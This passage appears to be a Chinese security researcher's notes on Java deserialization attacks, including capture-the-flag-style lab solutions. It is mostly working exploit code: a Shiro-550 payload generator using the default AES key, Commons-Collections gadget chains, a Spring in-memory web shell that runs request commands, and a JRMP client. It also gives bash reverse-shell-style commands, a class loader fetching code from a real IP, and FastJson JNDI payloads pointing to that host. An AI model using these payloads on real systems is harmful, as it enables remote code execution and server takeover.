D/////AHQAA2FsbHB1cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAAGPMr+ur4AAAAzAD0KAAoAJAkAJQAmCAAnCgAoACkKACoAKwgALAoAKgAtBwAuBwAvBwAwAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABlMZXZpbC9IZWxsb1RlbXBsYXRlc0ltcGw7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHADEBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgEADVN0YWNrTWFwVGFibGUHAC8HAC4BAApTb3VyY2VGaWxlAQAXSGVsbG9UZW1wbGF0ZXNJbXBsLmphdmEMAB0AHgcAMgwAMwA0AQATSGVsbG8gVGVtcGxhdGVzSW1wbAcANQwANgA3BwA4DAA5ADoBAAhjYWxjLmV4ZQwAOwA8AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAF2V2aWwvSGVsbG9UZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAJAAoAAAAAAAMAAQALAAwAAgANAAAAPwAAAAMAAAABsQAAAAIADgAAAAYAAQAAAAoADwAAACAAAwAAAAEAEAARAAAAAAABABIAEwABAAAAAQAUABUAAgAWAAAABAABABcAAQALABgAAgANAAAASQAAAAQAAAABsQAAAAIADgAAAAYAAQAAAAwADwAAACoABAAAAAEAEAARAAAAAAABABIAEwABAAAAAQAZABoAAgAAAAEAGwAcAAMAFgAAAAQAAQAXAAEAHQAeAAEADQAAAHYAAgACAAAAGiq3AAGyAAISA7YABLgABRIGtgAHV6cABEyxAAEADAAVABgACAADAA4AAAAaAAYAAAAOAAQADwAMABEAFQAUABgAEgAZABYADwAAAAwAAQAAABoAEAARAAAAHwAAABAAAv8AGAABBwAgAAEHACEAAAEAIgAAAAIAI3B0ABJIZWxsb1RlbXBsYXRlc0ltcGxwdwEAeHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXEAfgAQWwALaVBhcmFtVHlwZXNxAH4AE3hwcHQADm5ld1RyYW5zZm9ybWVycHNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABdAAFdmFsdWV0AAR4eHh4eHh2cgAeamF2YS5sYW5nLmFubm90YXRpb24uUmV0ZW50aW9uAAAAAAAAAAAAAAB4cA==" ; BASE64Decoder b64 = new BASE64Decoder(); byte [] bytes = b64.decodeBuffer(b64str); ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes)); in.readObject(); } }
不使用InvokerTransformer
1 2 3 4 5 6 Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { templatesImplObj }) };
shiro 550 tomcat9以上不支持java1.7jre,改用tomcat8
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 package com.sec.test;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import org.apache.shiro.util.ByteSource;import sun.misc.BASE64Decoder;import sun.misc.BASE64Encoder;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;import org.apache.shiro.crypto.AesCipherService;public class CommonCollectionsAllKillShiro { public static void main (String[] args) throws Exception { BASE64Decoder base64Decoder = new BASE64Decoder(); byte [] code = base64Decoder.decodeBuffer(CommonCollections1.getClassBytes(evil.HelloTemplatesImpl.class)); TemplatesImpl templatesImplObj = new TemplatesImpl(); CommonCollections1.setFieldValue(templatesImplObj, "_bytecodes" , new byte [][] {code}); CommonCollections1.setFieldValue(templatesImplObj, "_name" , "HelloTemplatesImpl" ); CommonCollections1.setFieldValue(templatesImplObj, "_tfactory" , new TransformerFactoryImpl()); Transformer transformer = new InvokerTransformer("getClass" , null , null ); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,templatesImplObj); Map expMap = new HashMap(); expMap.put(tiedMapEntry,"value" ); outerMap.clear(); CommonCollections1.setFieldValue(transformer, "iMethodName" , "newTransformer" ); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(expMap); objectOutputStream.close(); byte [] payloads = byteArrayOutputStream.toByteArray(); AesCipherService aes = new AesCipherService(); BASE64Decoder b64 = new BASE64Decoder(); byte [] key = b64.decodeBuffer("kPH+bIxk5D2deZiIxcaaaA==" ); ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(ciphertext.toString()); } }
加载字节码 类不用包,否则报找不到类
1 2 3 4 URL[] urls = {new URL("http://101.43.57.52:11012/")}; URLClassLoader loader = URLClassLoader.newInstance(urls); Class c = loader.loadClass("SqlI"); c.newInstance();
5 javaDeserializeLabs Lab1 直接修改Calc类的属性然后序列化他再编码即可
命令执行exec:
1 bash -c {echo ,base64encode}|{base64,-d}|{bash,-i}
Lab2 cc6改一下注意writeInt和writeUTF的顺序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 package com.test;import com.yxxx.javasec.deserialize.Utils;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class Main { public static void main (String[] args) throws Exception { Transformer[] fakeTransformers = new Transformer[]{ new ConstantTransformer(1 ) }; Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[] { String.class, Class[].class }, new Object[] { "getRuntime" , new Class[0 ] }), new InvokerTransformer("invoke" , new Class[] { Object.class, Object[].class }, new Object[] { null , new Object[0 ] }), new InvokerTransformer("exec" , new Class[] { String.class }, new String[] {"calc.exe" }), }; Transformer transformerChain = new ChainedTransformer(fakeTransformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"key" ); Map expMap = new HashMap(); expMap.put(tiedMapEntry,"value" ); outerMap.remove("key" ); Field f = ChainedTransformer.class.getDeclaredField("iTransformers" ); f.setAccessible(true ); f.set(transformerChain,transformers); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeUTF("SJTU" ); objectOutputStream.writeInt(1896 ); objectOutputStream.writeObject(expMap); System.out.println(Utils.bytesTohexString(byteArrayOutputStream.toByteArray())); } }
Lab3 上一个payload报:java.lang.ClassNotFoundException: [Lorg.apache.commons.collections.Transformer;
读安全漫谈的时候说会过滤Transformer的数组,用TiedMapEntry绕过即可
报错:java.io.StreamCorruptedException: invalid type code: CA
还是年轻
具体什么原因呢?这里通过报错的堆栈来进行跟随即可,可以发现在反序列化TemplatesImpl出现了问题,调试发现在反序列化TemplatesImpl的时候,相关属性存在数组,所以同样会触发数组反序列化的问题,所以这里的话TemplatesImpl同样不可取了
RMI二次反序列化绕过,解同lab4
lab4 https://blog.csdn.net/mole_exp/article/details/123992395
内存马 spring 2.* 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 package com.test;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.springframework.web.bind.annotation.RestController;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.InputStream;import java.io.PrintWriter;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.Scanner;public class SpringControllerMemShell2 extends AbstractTranslet { public void transform (DOM document, SerializationHandler[] handlers) throws TransletException {} public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} public SpringControllerMemShell2 () { try { System.out.println("bbnn" ); WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT" , 0 ); RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Field configField = mappingHandlerMapping.getClass().getDeclaredField("config" ); configField.setAccessible(true ); RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping); Method method2 = SpringControllerMemShell2.class.getMethod("test" ); RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); RequestMappingInfo info = RequestMappingInfo.paths("/malicious" ) .options(config) .build(); SpringControllerMemShell2 springControllerMemShell = new SpringControllerMemShell2("aaa" ); mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2); } catch (Exception e) { } } public SpringControllerMemShell2 (String aaa) { } public void test () throws IOException { System.out.println("nnmm" ); HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); try { String arg0 = request.getParameter("cmd" ); PrintWriter writer = response.getWriter(); if (arg0 != null ) { String o = "" ; ProcessBuilder p; if (System.getProperty("os.name" ).toLowerCase().contains("win" )) { p = new ProcessBuilder(new String[]{"cmd.exe" , "/c" , arg0}); } else { p = new ProcessBuilder(new String[]{"/bin/sh" , "-c" , arg0}); } java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A" ); o = c.hasNext() ? c.next() : o; c.close(); writer.write(o); writer.flush(); writer.close(); } else { response.sendError(404 ); } } catch (Exception e) { } } }
反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 package com.test;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.remote.JMXServiceURL;import javax.management.remote.rmi.RMIConnector;import java.io.*;import java.lang.reflect.Field;import java.net.URL;import java.security.*;import java.util.*;public class Lab4_RMIConnector_self { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } private static byte [] getClassBytes(Class<?> clazz) throws Exception { String className = clazz.getName().replace('.' , '/' ) + ".class" ; URL classUrl = clazz.getClassLoader().getResource(className); try (InputStream in = classUrl.openStream(); ByteArrayOutputStream out = new ByteArrayOutputStream()) { byte [] buffer = new byte [4096 ]; int n; while ((n = in.read(buffer)) > 0 ) { out.write(buffer, 0 , n); } byte [] classBytes = out.toByteArray(); return classBytes; } } public static String getObject () throws Exception { byte [] code = getClassBytes(SpringControllerMemShell2.class); TemplatesImpl templatesImplObj = new TemplatesImpl(); setFieldValue(templatesImplObj, "_bytecodes" , new byte [][] {code}); setFieldValue(templatesImplObj, "_name" , "Evil" ); setFieldValue(templatesImplObj, "_tfactory" , new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[] { new ConstantTransformer(templatesImplObj), new InvokerTransformer("newTransformer" ,null ,null ) }; ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1 )}); Map map = new HashMap(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test1" ); HashSet hashSet = new HashSet(1 ); hashSet.add(tiedMapEntry); lazyMap.remove("test1" ); setFieldValue(chainedTransformer, "iTransformers" , transformers); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(hashSet); return Base64.getEncoder().encodeToString(barr.toByteArray()); } public static void main (String[] args) throws Exception { RMIConnector connector = new RMIConnector(new JMXServiceURL("service:jmx:iiop://127.0.0.1:8000/stub/{$payload}" .replace("{$payload}" , getObject())), null ); InvokerTransformer invokerTransformer = new InvokerTransformer("connect" , null , null ); Map<Object,Object> lazyMap = LazyMap.decorate(new HashMap<>(), new ConstantTransformer(1 )); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, connector); HashMap expMap = new HashMap(); expMap.put(tiedMapEntry, "test" ); lazyMap.remove(connector); setFieldValue(lazyMap,"factory" , invokerTransformer); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeUTF("SJTU" ); objectOutputStream.writeInt(1896 ); objectOutputStream.writeObject(expMap); String s = bytesTohexString(byteArrayOutputStream.toByteArray()); System.out.println(s); } public static String bytesTohexString (byte [] bytes) { if (bytes == null ) { return null ; } StringBuilder ret = new StringBuilder(2 * bytes.length); for (int i = 0 ; i < bytes.length; i++) { int b = 15 & (bytes[i] >> 4 ); ret.append("0123456789abcdef" .charAt(b)); int b2 = 15 & bytes[i]; ret.append("0123456789abcdef" .charAt(b2)); } return ret.toString(); } }
lab5 利用MarshalledObject 的 readResolve 来二次反序列化绕过blacklist
lab6 修复方式与cve的补丁极其相似,绕过即可
参考:https://y4er.com/posts/weblogic-jrmp/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package com.yxxx.javasec.deserialize;import sun.rmi.server.UnicastRef;import sun.rmi.transport.LiveRef;import sun.rmi.transport.tcp.TCPEndpoint;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.rmi.server.ObjID;import java.util.Random;public class JRMPClient { public static void main (String[] args) throws Exception { ObjID id = new ObjID((new Random()).nextInt()); TCPEndpoint te = new TCPEndpoint("ip" , 38080 ); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false )); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeUTF("SJTU" ); objectOutputStream.writeInt(1896 ); objectOutputStream.writeObject(ref); System.out.println(Utils.bytesTohexString(byteArrayOutputStream.toByteArray())); } }
1 java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 38080 CommonsCollections6 "bash -c {echo,base64encode}|{base64,-d}|{bash,-i}"
lab7 javax.management.BadAttributeValueExpException
不知道怎么绕
lab8 5 FastJson 1 2 3 4 5 6 7 8 9 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl JSON.parseObject(payload, Feature.SupportNonPublicField); 需要开启 Feature.SupportNonPublicFiel JdbcRowSetImpl 利⽤链配合JDNI 注入 绕过补丁:L; LL;; [ MyBatis java.lang.Class 利⽤链,利⽤缓存 mappings
1 2 3 4 5 6 7 8 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://101.43.57.52:11012/#Exploit jdk高版本, System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://101.43.57.52:1099/Exploit\", \"autoCommit\":true}"; JSON.parse(PoC);
1 2 3 4 5 6 BadAttributeValueExpException JSONArray JSON:toString JSON:toJSONString getOutputProperties RCE
JNDI